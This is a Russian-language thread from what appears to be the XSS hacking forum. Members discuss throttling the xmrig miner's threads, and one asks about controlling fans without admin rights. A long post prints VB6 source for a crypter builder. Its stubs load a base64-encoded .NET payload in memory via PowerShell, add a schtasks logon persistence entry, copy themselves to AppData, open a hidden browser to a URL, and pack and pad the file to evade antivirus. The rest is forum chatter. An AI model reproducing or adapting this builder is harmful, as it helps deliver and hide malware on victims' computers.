• XSS.stack #1 – первый литературный журнал от юзеров форума

Техническая болталка (задушевные разговоры о малваре, крипте и т.д.)

Отслеживать
ViCode сказал(а):
И кстать xmrig не поддерживает больше ограничения потоков. Только приоритеты процесса.
Уже поддерживает с 5.0 версии. Да и можно в конфиге урезать потоки
К примеру, если проц 4 ядра и хочешь грузануть только 2 ядра, то есть на 50%:
"cn": [
[1, 0],
[1, 1]
]
-----------
либо все 4 ядра, на 100%:
"cn": [
[1, 0],
[1, 1],
[1, 2],
[1, 3]
]
 
BaPaTok сказал(а):
Уже поддерживает с 5.0 версии. Да и можно в конфиге урезать потоки
К примеру, если проц 4 ядра и хочешь грузануть только 2 ядра, то есть на 50%:
"cn": [
[1, 0],
[1, 1]
]
-----------
либо все 4 ядра, на 100%:
"cn": [
[1, 0],
[1, 1],
[1, 2],
[1, 3]
]
Там я 5.0.1, заюзал
 
Пожалуйста, обратите внимание, что пользователь заблокирован
MR. MORFEY сказал(а):
Там я 5.0.1, заюзал
Манипуляцию винтами/куллерами без админ прав не пробовал сделать?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
MR. MORFEY сказал(а):
А что тут понимать, генерируешь модуль / компилируешь / вызываешь через CLR powershell сервак, но это говно устарело как говно
Мне стыдно но это говнокод ещё тот
C#: 
If CheckBox5.Value = xtpChecked Then
Dim eofdata As String
eofdata = ReadEOFData(CD.FileName)
End If
Dim uc8JmbQUc As String
Open FlatEdit1.Text For Binary As #1
uc8JmbQUc = Space(LOF(1))
Get #1, , uc8JmbQUc
Close #1
A1 = sRandom
B2 = sRandom
D4 = sRandom
J9 = sRandom
Text1.Text = sRandom
ProgressBar1.Value = 20
If Combo1.Text Like "*.exe" Or Combo1.Text Like "*.scr" Or Combo1.Text Like "*.com" Or Combo1.Text Like "*.cmd" Then
Open App.Path & "\Module1.bas" For Append As #1
Print #1, "Sub Main()"
Print #1, func_100s(decrypt("powershell -noexit start-sleep 30;IEX([Reflection.Assembly]::Load([Convert]::FromBase64String('" & Base64Encoding(uc8JmbQUc) & "')).'EntryPoint'.'Invoke'($Null,$Null))"))
Print #1, "Shell " & A1 & "(" & Text1.Text & "), vbHide"
If CheckBox1.Value = xtpChecked Then
Print #1, "CreateObject(" & A1 & "(" & Chr(34) & decrypt("Shell.Application") & Chr(34) & ")).ShellExecute " & A1 & "(" & Chr(34) & decrypt("schtasks.exe") & Chr(34) & "), " & A1 & "(" & Chr(34) & decrypt("/create /sc onlogon /tn " & FlatEdit3.Text & " /tr %USERPROFILE%\AppData\" & FlatEdit3.Text & Combo1.Text) & Chr(34) & "), " & Chr(34) & Chr(34) & ", " & A1 & "(" & Chr(34) & decrypt("runas") & Chr(34) & "), 0"
Print #1, "On Error Resume Next"
Print #1, "FileCopy App.Path & " & A1 & "(" & Chr(34) & decrypt("\") & Chr(34) & ") & App.EXEName & " & A1 & "(" & Chr(34) & decrypt(Combo1.Text) & Chr(34) & "), Environ(" & A1 & "(" & Chr(34) & decrypt("USERPROFILE") & Chr(34) & ")) & " & A1 & "(" & Chr(34) & decrypt("\AppData\" & FlatEdit3.Text & Combo1.Text) & Chr(34) & ")"
End If
If CheckBox6.Value = xtpChecked Then
Print #1, "Set " & J9 & " = CreateObject(" & A1 & "(" & Chr$(34) & decrypt("InternetExplorer.Application") & Chr$(34) & "))"
Print #1, J9 & ".Visible = False"
Print #1, J9 & ".Navigate " & A1 & "(" & Chr$(34) & decrypt(FlatEdit2.Text) & Chr$(34) & ")"
End If
Print #1, "End Sub"
Print #1, "Function " & A1 & "(" & B2 & ")"
Print #1, "For " & D4 & " = &H1 To Len(" & B2 & ")"
Print #1, A1 & " = " & A1 & " & Chr$(Asc(Mid$(" & B2 & ", " & D4 & ", &H1)) - " & Text2.Text & ")"
Print #1, "Next"
Print #1, "End Function"
Close #1
Set x = CreateObject("Wscript.Shell")
x.Run App.Path & "\compiler\vb6.exe /make " & App.Path & "\Module1.bas /outdir " & App.Path & "\", 0, True
Set x = Nothing
If CheckBox4.Value = xtpUnchecked Then
Kill App.Path & "\Module1.bas"
End If

If CheckBox2.Value = xtpChecked Then
Call ChangeIcon(App.Path & "\Project1.exe", Form1.FlatEdit4.Text)
End If
If CheckBox3.Value = xtpChecked Then
Call CloneFileInformation(FlatEdit5.Text, App.Path & "\Project1.exe")
End If
If CheckBox5.Value = xtpChecked Then
Call WriteEOFData(CD.FileName, eofdata)
End If
If RadioButton1.Value = "1" Then
Set x = CreateObject("Wscript.Shell")
x.Run App.Path & "\tools\upx.exe " & "-9 " & App.Path & "\Project1.exe", 0, True
Set x = Nothing
End If
If RadioButton2.Value = "1" Then
Set x = CreateObject("Wscript.Shell")
x.Run App.Path & "\tools\mpress.exe " & "-i " & App.Path & "\Project1.exe", 0, True
Set x = Nothing
End If
If RadioButton3.Value = "1" Then
Set x = CreateObject("Wscript.Shell")
x.Run App.Path & "\tools\pec.exe " & App.Path & "\Project1.exe", 0, True
Set x = Nothing
End If
If FlatEdit6.Text <> "0 Bytes" Then
Bytes = Replace(FlatEdit6.Text, " Bytes", "")
For i = 1 To Bytes
Open App.Path & "\Project1.exe" For Append As #1
Print #1, LOF(1), " "
Close #1
Next i
End If
Name App.Path & "\Project1.exe" As App.Path & "\Crypted" & Combo1.Text
End If

If Combo1.Text Like "*.vbs" Then
Open App.Path & "\Module1.vbs" For Append As #1
Print #1, func_100s(decrypt("powershell -noexit start-sleep 30;IEX([Reflection.Assembly]::Load([Convert]::FromBase64String('" & Base64Encoding(uc8JmbQUc) & "')).'EntryPoint'.'Invoke'($Null,$Null))"))
Print #1, "CreateObject(" & A1 & "(" & Chr(34) & decrypt("Wscript.Shell") & Chr$(34) & ")).run " & A1 & "(" & Text1.Text & "), 0"
If CheckBox1.Value = xtpChecked Then
Print #1, "CreateObject(" & A1 & "(" & Chr(34) & decrypt("Shell.Application") & Chr(34) & ")).ShellExecute " & A1 & "(" & Chr(34) & decrypt("schtasks.exe") & Chr(34) & "), " & A1 & "(" & Chr(34) & decrypt("/create /sc onlogon /tn " & FlatEdit3.Text & " /tr %USERPROFILE%\AppData\" & FlatEdit3.Text & Combo1.Text) & Chr(34) & "), " & Chr(34) & Chr(34) & ", " & A1 & "(" & Chr(34) & decrypt("runas") & Chr(34) & "), 0"
Print #1, "CreateObject(" & A1 & "(" & Chr(34) & decrypt("Scripting.FileSystemObject") & Chr(34) & ")).CopyFile WScript.ScriptFullName, CreateObject(" & A1 & "(" & Chr(34) & decrypt("WScript.Shell") & Chr(34) & ")).ExpandEnvironmentStrings(" & A1 & "(" & Chr(34) & decrypt("%USERPROFILE%\AppData\" & FlatEdit3.Text & Combo1.Text) & Chr(34) & "))"
End If
If CheckBox6.Value = xtpChecked Then
Print #1, "Set " & J9 & " = CreateObject(" & A1 & "(" & Chr$(34) & decrypt("InternetExplorer.Application") & Chr$(34) & "))"
Print #1, J9 & ".Visible = False"
Print #1, J9 & ".Navigate " & A1 & "(" & Chr$(34) & decrypt(FlatEdit2.Text) & Chr$(34) & ")"
End If
Print #1, "Function " & A1 & "(" & B2 & ")"
Print #1, "For " & D4 & " = &H1 To Len(" & B2 & ")"
Print #1, A1 & " = " & A1 & " & Chr(Asc(Mid(" & B2 & ", " & D4 & ", &H1)) - " & Text2.Text & ")"
Print #1, "Next"
Print #1, "End Function"
Close #1
End If

If Combo1.Text Like "*.wsf" Then
Open App.Path & "\Module1.wsf" For Append As #1
Print #1, "<Job>"
Print #1, "<script language=vbscript>"
Print #1, func_100s(decrypt("powershell -noexit start-sleep 30;IEX([Reflection.Assembly]::Load([Convert]::FromBase64String('" & Base64Encoding(uc8JmbQUc) & "')).'EntryPoint'.'Invoke'($Null,$Null))"))
Print #1, "CreateObject(" & A1 & "(" & Chr(34) & decrypt("Wscript.Shell") & Chr$(34) & ")).run " & A1 & "(" & Text1.Text & "), 0"
If CheckBox1.Value = xtpChecked Then
Print #1, "CreateObject(" & A1 & "(" & Chr(34) & decrypt("Shell.Application") & Chr(34) & ")).ShellExecute " & A1 & "(" & Chr(34) & decrypt("schtasks.exe") & Chr(34) & "), " & A1 & "(" & Chr(34) & decrypt("/create /sc onlogon /tn " & FlatEdit3.Text & " /tr %USERPROFILE%\AppData\" & FlatEdit3.Text & Combo1.Text) & Chr(34) & "), " & Chr(34) & Chr(34) & ", " & A1 & "(" & Chr(34) & decrypt("runas") & Chr(34) & "), 0"
Print #1, "CreateObject(" & A1 & "(" & Chr(34) & decrypt("Scripting.FileSystemObject") & Chr(34) & ")).CopyFile WScript.ScriptFullName, CreateObject(" & A1 & "(" & Chr(34) & decrypt("WScript.Shell") & Chr(34) & ")).ExpandEnvironmentStrings(" & A1 & "(" & Chr(34) & decrypt("%USERPROFILE%\AppData\" & FlatEdit3.Text & Combo1.Text) & Chr(34) & "))"
End If
If CheckBox6.Value = xtpChecked Then
Print #1, "Set " & J9 & " = CreateObject(" & A1 & "(" & Chr$(34) & decrypt("InternetExplorer.Application") & Chr$(34) & "))"
Print #1, J9 & ".Visible = False"
Print #1, J9 & ".Navigate " & A1 & "(" & Chr$(34) & decrypt(FlatEdit2.Text) & Chr$(34) & ")"
End If
Print #1, "Function " & A1 & "(" & B2 & ")"
Print #1, "For " & D4 & " = &H1 To Len(" & B2 & ")"
Print #1, A1 & " = " & A1 & " & Chr(Asc(Mid(" & B2 & ", " & D4 & ", &H1)) - " & Text2.Text & ")"
Print #1, "Next"
Print #1, "End Function"
Print #1, "</script>"
Print #1, "</Job>"
Close #1
End If
ProgressBar1.Value = 100
MsgBox "Ok", vbInformation
ShellExecute Me.hwnd, vbNullString, "https://crypters.info/", vbNullString, "C:\", 1

Сейчас не до морфера, с проактивкой беда пздц
Ето пздц. Я них*я не понимаю как это работает. :D
Дай Theme с топика плз если можешь, понравилась тема.
 
Последнее редактирование:
Последнее редактирование:
ViCode сказал(а):
Ето пздц. Я них*я не понимаю как это работает. :D
Дай Theme с топика плз если можешь, понравилась тема.
 

Вложения

  • AKIN.zip
    37.8 КБ · Просмотры: 92
MORFEY1337 сказал(а):
Это я, форум закрыл и канал удалил, просто у меня была жёсткая дизмораль и подгорело очень сильно вот и сорвался, решил всё бросить, вот другой канал
За новый канал я в курсе. Бьётся по нику так то.
На старом канале в подписчиках был )

Знаешь dr.shadow , лучше пеpе6*деть , чем недо6*деть ( по поводу сомнений кMORFEY1337)
Собственно , тоже форум твой читал , и последний видос на канале ( прощальный) смотрел.

По поводу "в банMORFEY1337 " думаю не стоит так, можно просто убрать этот акк .
А темы как то объеденить , или перепиши их со своего главного акка , а те темы удалить .
Времена нынче такие , школота перевернёт с ног на голову всё
и начнёт кричать что ты бан получил сидя с мультов.

Ну и велкам )
******************************

mugwort сказал(а):
Может вы свой чатик свой уже сделаете?Ну или конфу в жабе
так то в теме MR. MORFEY-я идёт "конфа" и он не против .
Это лучшая "валидация" из всех возможных в его случае.
Думаю он сам это понимает.
 
Последнее редактирование:
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх